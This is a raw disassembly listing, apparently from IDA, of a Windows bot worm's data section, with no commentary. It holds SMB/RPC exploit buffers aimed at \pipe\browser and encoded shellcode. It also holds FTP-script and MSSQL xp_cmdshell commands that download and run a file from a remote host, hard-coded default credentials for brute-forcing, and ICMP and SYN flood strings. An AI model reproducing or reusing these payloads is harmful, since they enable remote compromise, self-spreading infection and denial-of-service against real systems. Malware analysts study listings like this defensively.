dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
db 43h, 0, 24h
dword_43D257 dd 3F000000h ; DATA XREF: sub_423DF0+91r
dword_43D25B dd 3F3F3F3Fh ; DATA XREF: sub_423DF0+A4r
byte_43D25F db 0 ; DATA XREF: sub_423DF0+B4r
dd 0
dword_43D264 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_423DF0+2C2o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_43D2D0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_423DF0+2F5o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43D374 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_423DF0+3FAo
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_43D3F4 dd offset sub_401492+3 ; DATA XREF: sub_423DF0+42Bo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707A+2
dd 1, 0
dd 1, 0
dd offset loc_40707A+2
dd 1, 0
dd 1, 0
dd offset loc_40707A+2
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_43D488 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_423DF0+335o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_43D4F4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_423DF0+368o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_43D568 dd 0 ; DATA XREF: sub_423DF0+398o
dd offset byte_40A890+0Ah
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset byte_40A890+0Ah
dd 1, 0
dd 1, 0
dd offset byte_40A890+0Ah
dd 1, 0
dd 1, 0
dd offset byte_40A890+0Ah
dd 1, 0
dd 1, 3 dup(0)
dword_43D5F4 dd 1004600h ; DATA XREF: sub_423DF0+122r
; sub_423DF0+24Fr
dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_43D7DC dd 61622E63h, 0A0D74h, 0 ; DATA XREF: sub_4239C0+2C9o
aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+2A0o
align 10h
dd 0
aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+277o
dd 2 dup(0)
aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+24Eo
dd 0
aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+221o
align 4
dd 0
aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+1E9o
align 10h
dd 0
aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+1BCo
align 10h
aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+18Fo
align 8
aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+162o
align 10h
dd 0
aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+12Ao
align 10h
aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+FDo
align 4
dd 0
aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+D0o
align 8
dword_43D928 dd 6EB06EBh ; DATA XREF: sub_423DF0+15Dr
align 10h
dword_43D930 dd 73255C5Ch, 6370695Ch, 24h ; DATA XREF: sub_423DF0+29o
; _294ADE7B:00424CC2o
dword_43D93C dd 1CEC8166h ; DATA XREF: sub_423DF0+Ar
dword_43D940 dd 0E4FF07h ; DATA XREF: sub_423DF0+Fr
align 8
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0
; DATA XREF: _294ADE7B:0042483Do
align 4
dd 0
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %s >> eq&echo us'
; DATA XREF: _294ADE7B:00424800o
db 'er a a >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq &%'
db 's&del eq',0Dh,0Ah
db 27h,0
align 4
dd 7 dup(0)
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: _294ADE7B:0042473Ao
align 10h
aH4x0r db 'h4x0r',0 ; DATA XREF: _294ADE7B:00424670o
align 4
aAdmin db 'admin',0 ; DATA XREF: _294ADE7B:0042464Co
align 10h
aSa db 'sa',0 ; DATA XREF: _294ADE7B:00424647o
align 4
aRoot db 'root',0 ; DATA XREF: _294ADE7B:0042462Bo
align 4
dword_43DA6C dd 30B0005h, 10h, 48h, 0 ; DATA XREF: _294ADE7B:00424D74o
dd 16D016D0h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43DAB8 dd 3000005h, 10h, 830h, 0 ; DATA XREF: _294ADE7B:00424C4Co
dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
dd 1, 2 dup(0)
dword_43DAE8 dd 0FAh, 2, 0 ; DATA XREF: _294ADE7B:00424C95o
dd 2, 0
dd 0FAh, 2 dup(0)
dword_43DB08 dd 0D959516Ah, 2474D9EEh, 73815BF4h, 9097A813h, 0FCEB8388h
; DATA XREF: _294ADE7B:00424C0Ao
dd 5329F4E2h, 6857676Fh, 7CC274D4h, 685160DDh, 1CC8776Fh
dd 1C8CACFCh, 0EB23B4D5h, 78A9F095h, 1CB0C71Bh, 7CA9A8CFh
dd 1C9C03D9h, 57996691h, 572C2409h, 5D698FE4h, 7C6A899Dh
dd 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh, 0DCA403F6h, 96B4D71Bh
dd 1C848B7Bh, 8B8CE419h, 4C994BF1h, 0A7EB03F4h, 1CA4C81Bh
dd 1C0594E0h, 0FFF680D0h, 7BA6C61Eh, 0F17E77C0h, 0A4C0EEC3h
dd 0E4DFE0A2h, 68FCD7A2h, 7A63E040h, 68F8B36Ch, 7221D746h
dd 9F4509F6h, 95C2DD92h, 4EC0586Fh, 0C0057D99h, 0C4FB5E6Fh
dd 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h, 1EFBEECCh, 33C01D71h
dd 0C06FF88Ah, 87C25E6Fh, 4757DDC1h, 0B9052CF8h, 4157DF79h
dd 4757DDC3h, 11E16DF8h, 4157DFD9h, 0C2FCDCC0h, 0FF3B586Fh
dd 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh, 0F4C0EEF4h, 0FD4D01FDh
dd 5B81D1C0h, 0D3C26F19h, 57996A19h, 0D5562263h, 0BBEA76BDh
dd 0AFD20503h, 0FF03233Bh, 811B76E2h, 68ECFD6Fh, 0C5FFD346h
dd 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h, 59AD513Dh, 0FD7E77C3h
dd 689F776Fh, 6BFF0340h, 68CC4C13h, 4757DA46h, 776667F8h
dd 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
; DATA XREF: sub_4249E0+D6o
db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
align 4
dd 6 dup(0)
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: _294ADE7B:00424D24o
align 10h
dd 0
word_43DD74 dw 2EBh ; DATA XREF: _294ADE7B:00424CA1r
align 4
dword_43DD78 dd 215h ; DATA XREF: _294ADE7B:00424C53r
align 10h
dword_43DD80 dd 20804h ; DATA XREF: _294ADE7B:00424C38r
align 8
dword_43DD88 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_425140+CCo
db 66h, 0B9h
word_43DD96 dw 0FFFFh ; DATA XREF: sub_425140+D3w
db 80h, 73h, 0Eh
byte_43DD9B db 0FFh ; DATA XREF: sub_425140+DAw
dd 0F9E243h
dword_43DDA0 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_425140+A7o
db 0B1h
byte_43DDAD db 0FFh ; DATA XREF: sub_425140+AEw
dw 7380h
db 0Ch
byte_43DDB1 db 0FFh ; DATA XREF: sub_425140+B4w
dw 0E243h
dd 0F9h
dword_43DDB8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_424ED0+43o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43DE1C dd 12h ; DATA XREF: sub_424ED0+50w
dd 70746674h, 6578652Eh, 20692D20h
dword_43DE2C dd 74656720h ; DATA XREF: sub_424ED0+94r
byte_43DE30 db 20h ; DATA XREF: sub_424ED0+A2r
dword_43DE31 dd 0E8006A00h ; DATA XREF: sub_424ED0+C4r
dword_43DE35 dd 17h ; DATA XREF: sub_424ED0+62w
; sub_424ED0+D2r
dword_43DE39 dd 0E8C30175h ; DATA XREF: sub_424ED0+DEr
dword_43DE3D dd 1 ; DATA XREF: sub_424ED0+59w
; sub_424ED0+E7r
byte_43DE41 db 0, 6Ah, 0 ; DATA XREF: sub_424ED0+110o
dd 7E8h
db 0, 0Fh, 84h
dword_43DE4B dd 0FFFFFFEDh ; DATA XREF: sub_424ED0+6Fw
db 0C3h
dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h
dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
dd 0C3h, 0Ch dup(0)
dword_43DEAC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_425830+72o
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 32h dup(69696969h)
db 69h
dword_43E7AD dd 69696969h ; DATA XREF: sub_404890+98Fr
db 3 dup(69h)
dd 0Ch dup(69696969h), 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h
dd 3Fh dup(6B6B6B6Bh), 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch)
dd 41416C6Ch, 100D06EBh, 6D6D501Eh, 0E983C933h, 0D9EED9B0h
dd 5BF42474h, 0C8137381h, 83877FD9h, 0F4E2FCEBh, 0CA94B334h
dd 78802020h, 0EBF4B937h, 0C2F4FDECh, 820352F4h, 0C90D8B0h
dd 0D8F4C187h, 0CE94D8E8h, 86F4ED43h, 1EBFE826h, 0F3BF5D64h
dd 8AB518CFh, 73941BC9h, 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh
dd 0C34D543h, 6C7EC597h, 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh
dd 0C4F9A43h, 0F7F4D588h, 0C7F474D4h, 91787C0h, 0D793D786h
dd 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h, 57808D97h, 7B9212A0h
dd 518089F3h, 0E19A5097h, 85773449h, 787DB39Dh, 8EA6B118h
dd 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh
dd 66F68AAEh, 9DDBB15Dh, 78281EB8h, 0D66FB31Eh, 0EFAF269Dh
dd 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh
dd 782A8D9Ch, 60174A18h, 0D0061FB1h, 782A0F37h, 0E315BF18h
dd 0EA1CB1AEh, 0D7153C41h, 0EB3F091h, 0E3BB32Fh, 74BFE82Ah
dd 0AA3D2762h, 14539B36h, 2C47A345h, 0F5177263h, 78696A36h
dd 51809DBDh, 0D62D8E93h, 86158899h, 0D62A8899h, 2A170937h
dd 0D4B1DC11h, 78150F37h, 5780EE37h, 4838E43h, 5180BD0Ch
dd 0EFAF269Ah, 0D87B5338h, 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 10h
dd 0E7h dup(0)
aSystemrootSyst db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: _294ADE7B:00425E69o
; _294ADE7B:loc_425E7Cr ...
align 4
aExit db 'exit',0
align 8
word_43F488 dw 1 ; DATA XREF: sub_425960+9r
; _294ADE7B:00425C02r
align 4
word_43F48C dw 4 ; DATA XREF: sub_425960+3r
align 10h
aEchoOpenSDAaEc db 'echo open %s %d >> aa &echo user a a >> aa &echo binary >> aa &ec'
; DATA XREF: _294ADE7B:00425F11o
db 'ho get %s >> aa &echo bye >> aa &ftp -n -v -s:aa &del aa &%s',0Dh,0Ah,0
dd 7 dup(0)
aC db '%c',0 ; DATA XREF: _294ADE7B:00425E84o
; _294ADE7B:00425F44o
align 10h
word_43F530 dw 0DFFh ; DATA XREF: _294ADE7B:00425C37r
byte_43F532 db 0 ; DATA XREF: _294ADE7B:00425C43r
align 4
word_43F534 dw 0EBFFh ; DATA XREF: _294ADE7B:00425C1Ar
byte_43F536 db 0 ; DATA XREF: _294ADE7B:00425C2Br
align 4
word_43F538 dw 201h ; DATA XREF: _294ADE7B:00425BE4r
byte_43F53A db 0 ; DATA XREF: _294ADE7B:00425BF8r
align 4
dword_43F53C dd 20424652h ; DATA XREF: _294ADE7B:00425BC6r
dword_43F540 dd 2E333030h ; DATA XREF: _294ADE7B:00425BCBr
dword_43F544 dd 0A383030h ; DATA XREF: _294ADE7B:00425BD1r
byte_43F548 db 0 ; DATA XREF: _294ADE7B:00425BDBr
align 4
aPing db 'ping',0 ; DATA XREF: sub_4267F0+22o
align 4
aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
; DATA XREF: sub_4268B0+D0o
align 10h
dd 2 dup(0)
aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4268B0+B4o
align 4
dd 2 dup(0)
aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4268B0+43o
align 8
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426A30+38o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426A30+2Bo
dd 0
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426A30+23o
align 10h
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426A30+Co
align 4
aForsyn db 'forsyn',0 ; DATA XREF: sub_426D40+22o
align 4
aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426E00+195o
align 10h
aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426E00+143o
align 10h
aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426E00+D3o
align 4
dd 0
aSyn db 'syn',0 ; DATA XREF: _294ADE7B:00427272o
aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: sub_427310+C1o
align 4
dd 0
aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_427310+43o
align 8
dd offset aWoot ; "Woot"
aWoot db 'Woot',0 ; DATA XREF: _5AD6BD6B:0043F6B8o
align 4
aNetworkFailedT db 'Network failed to start: %d',0Ah,0 ; DATA XREF: sub_427930+23o
align 8
aCalloc db 'calloc',0 ; DATA XREF: sub_4279B0+1A2o
; sub_4279B0+1D5o ...
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_4279B0+185o
; sub_428720+20Fo
dd 0
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4279B0+16Co
; sub_428720+1C4o ...
align 4
dd 0
aSocket db 'socket',0 ; DATA XREF: sub_4279B0+13Bo
; sub_428720+15Eo
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4279B0+EAo
align 4
aGetservbyname db 'getservbyname',0 ; DATA XREF: sub_4279B0+5Co
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_4279B0+49o
; sub_4279B0:loc_427A6Do
aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_427CB0:loc_427CD2o
align 8
aRead db 'read',0 ; DATA XREF: sub_427DF0:loc_427F8Co
align 10h
asc_43F760 db 0Dh,0Ah,0 ; DATA XREF: sub_427DF0+11Do
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_428270+72o
align 10h
aUserS db 'USER %s',0 ; DATA XREF: sub_428270+3Do
dd 0
aWrite db 'write',0 ; DATA XREF: sub_428340+A3o
align 4
aS db '%s',0Ah,0 ; DATA XREF: sub_428340+3Do
aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_428460+203o
align 10h
dd 0
dword_43F7A4 dd 524F5453h ; DATA XREF: sub_428460:loc_428547r
byte_43F7A8 db 0 ; DATA XREF: sub_428460+EDr
align 4
dword_43F7AC dd 52544552h ; DATA XREF: sub_428460:loc_42852Dr
byte_43F7B0 db 0 ; DATA XREF: sub_428460+D3r
align 4
dword_43F7B4 dd 5453494Ch ; DATA XREF: sub_428460:loc_428513r
byte_43F7B8 db 0 ; DATA XREF: sub_428460+B8r
align 4
dword_43F7BC dd 54534C4Eh ; DATA XREF: sub_428460:loc_4284F8r
byte_43F7C0 db 0 ; DATA XREF: sub_428460+9Er
align 4
dword_43F7C4 dd 45505954h, 632520h, 0 ; DATA XREF: sub_428460+5Eo
; _294ADE7B:0042986Ao
aMissingPathArg db 'Missing path argument for file transfer',0Ah,0
; DATA XREF: sub_428460+2Do
align 4
dd 2 dup(0)
aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 ; DATA XREF: sub_428720+2C8o
align 10h
aListen db 'listen',0 ; DATA XREF: sub_428720+242o
align 4
aBind db 'bind',0 ; DATA XREF: sub_428720+230o
align 10h
aGetsockname db 'getsockname',0 ; DATA XREF: sub_428720+190o
align 10h
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_428720+10Eo
align 8
aPasv db 'PASV',0 ; DATA XREF: sub_428720+B4o
align 10h
aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_428720+77o
align 4
aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_428720+45o
align 10h
aTimedOutWaitin db 'timed out waiting for connection',0 ; DATA XREF: sub_428C00+A4o
align 8
aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_428FC0+12Eo
align 10h
dd 2 dup(0)
aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_428FC0+FBo
align 10h
dd 2 dup(0)
aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_428FC0+DBo
align 10h
dd 2 dup(0)
aSiteS db 'SITE %s',0 ; DATA XREF: _294ADE7B:0042927Eo
dd 0
aSyst db 'SYST',0 ; DATA XREF: _294ADE7B:004292DDo
align 4
aMkdS db 'MKD %s',0 ; DATA XREF: _294ADE7B:0042936Eo
align 4
aCwdS db 'CWD %s',0 ; DATA XREF: _294ADE7B:004293EEo
align 4
aCdup db 'CDUP',0 ; DATA XREF: _294ADE7B:00429447o
align 4
aRmdS db 'RMD %s',0 ; DATA XREF: _294ADE7B:0042949Eo
align 4
off_43F97C dd offset dword_445750 ; DATA XREF: _294ADE7B:004294FDo
aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_4295A0:loc_429721o
dd 0
aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_4295A0+125o
align 4
dd 0
word_43F9BC dw 77h ; DATA XREF: sub_4295A0+1Fr
align 10h
dword_43F9C0 dd 25206425h, 64h ; DATA XREF: _294ADE7B:004298C6o
dword_43F9C8 dd 455A4953h, 732520h, 0 ; DATA XREF: _294ADE7B:0042989Do
dword_43F9D4 dd 4D54444Dh, 732520h, 0 ; DATA XREF: _294ADE7B:00429986o
dword_43F9E0 dd 4F544E52h, 732520h, 0 ; DATA XREF: _294ADE7B:00429AF1o
dword_43F9EC dd 52464E52h, 732520h, 0 ; DATA XREF: _294ADE7B:00429AC9o
dword_43F9F8 dd 454C4544h, 732520h, 0 ; DATA XREF: _294ADE7B:00429B8Eo
aQuit db 'QUIT',0 ; DATA XREF: sub_429BE0+10o
align 4
dword_43FA0C dd 1 ; DATA XREF: sub_42B600+Cr
; sub_42B600+1Fw ...
aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_42C420+13o
align 10h
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_42C420+6o
align 10h
aA_0: ; DATA XREF: sub_42EBA0+36o
unicode 0, <€>,0
dd 12h dup(0)
dword_43FA8C dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh, 0FFFFB966h, 0FF0E7380h
; DATA XREF: _294ADE7B:0042F9E6o
; _294ADE7B:0042FC40o ...
dd 0F9E243h, 0
aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
; DATA XREF: _294ADE7B:0042FE6Bo
db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
dd 0Bh dup(0)
off_43FB90 dd offset off_437100 ; DATA XREF: _8C6BDE73:off_437238o
; _8C6BDE73:00437274o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dd 1, 85h dup(0)
byte_43FDC8 db 0 ; DATA XREF: sub_41A020+76o
; sub_41A020+C0o ...
align 10h
dword_43FDD0 dd 0 ; DATA XREF: _294ADE7B:0040C0AAr
; sub_40C310+DEw
align 8
dword_43FDD8 dd 0 ; DATA XREF: _294ADE7B:0040C0D5w
dd 49h dup(0)
dword_43FF00 dd 0 ; DATA XREF: _294ADE7B:0040C0C1w
; _294ADE7B:loc_40C164r ...
dword_43FF04 dd 0 ; DATA XREF: _294ADE7B:0040C09Cr
; sub_40C310+D7w
dword_43FF08 dd 0 ; DATA XREF: _294ADE7B:0040C08Fr
; sub_40C310+CAw
dword_43FF0C dd 0 ; DATA XREF: sub_40C310+BDw
; sub_40C310+E3r
dd 11h dup(0)
dword_43FF54 dd 0 ; DATA XREF: sub_40EB00+47Dr
dword_43FF58 dd 0 ; DATA XREF: sub_40EB00+515r
; sub_4108D0+C0r ...
dword_43FF5C dd 0 ; DATA XREF: sub_40EB00+655r
; sub_40EB00+72Ar ...
dword_43FF60 dd 0 ; DATA XREF: sub_40EB00+B79r
; _294ADE7B:loc_4112B8r
dword_43FF64 dd 0 ; DATA XREF: sub_40EB00+74Br
dword_43FF68 dd 0 ; DATA XREF: sub_40EB00+828r
dword_43FF6C dd 0 ; DATA XREF: sub_40EB00+77Cr
dword_43FF70 dd 0 ; DATA XREF: sub_40EB00+4DDr
; sub_40EB00+5B2r ...
dword_43FF74 dd 0 ; DATA XREF: sub_40EB00+311r
dword_43FF78 dd 0 ; DATA XREF: sub_40EB00+34Dr
; sub_40EB00+1068r
dword_43FF7C dd 0 ; DATA XREF: sub_40EB00+33Dr
dword_43FF80 dd 0 ; DATA XREF: sub_40EB00+3D2r
dword_43FF84 dd 0 ; DATA XREF: sub_40EB00+E93r
dword_43FF88 dd 0 ; DATA XREF: sub_40EB00+1220r
; sub_4108D0+319r
dword_43FF8C dd 0 ; DATA XREF: sub_4108D0+4DAr
dword_43FF90 dd 0 ; DATA XREF: sub_40EB00+683r
dword_43FF94 dd 0 ; DATA XREF: sub_40EB00+6B5r
dword_43FF98 dd 0 ; DATA XREF: sub_40EB00+1252r
dd 5 dup(0)
dword_43FFB0 dd 10h dup(0) ; DATA XREF: sub_41AA60+4Fo
; sub_41AA60+9Eo ...
db 2 dup(0)
byte_43FFF2 db 0 ; DATA XREF: sub_409590r sub_409600r
align 4
db 3 dup(0)
byte_43FFF7 db 0 ; DATA XREF: sub_40C310+10Fr
db 0
byte_43FFF9 db 0 ; DATA XREF: sub_40C8A0r
align 4
dd 44h dup(0)
db 3 dup(0)
byte_44010F db 0 ; DATA XREF: _294ADE7B:0041D3CEo
db 3 dup(0)
byte_440113 db 0 ; DATA XREF: _294ADE7B:loc_41DE6Dr
dd 2Ch dup(0)
word_4401C4 dw 0 ; DATA XREF: sub_40EB00+1E1r
align 4
dd 78h dup(0)
db 0
byte_4403A9 db 3 dup(0) ; DATA XREF: _294ADE7B:0042373Bo
; _294ADE7B:00423747o ...
dd 11h dup(0)
db 2 dup(0)
word_4403F2 dw 0 ; DATA XREF: sub_41ACE0+4A5o
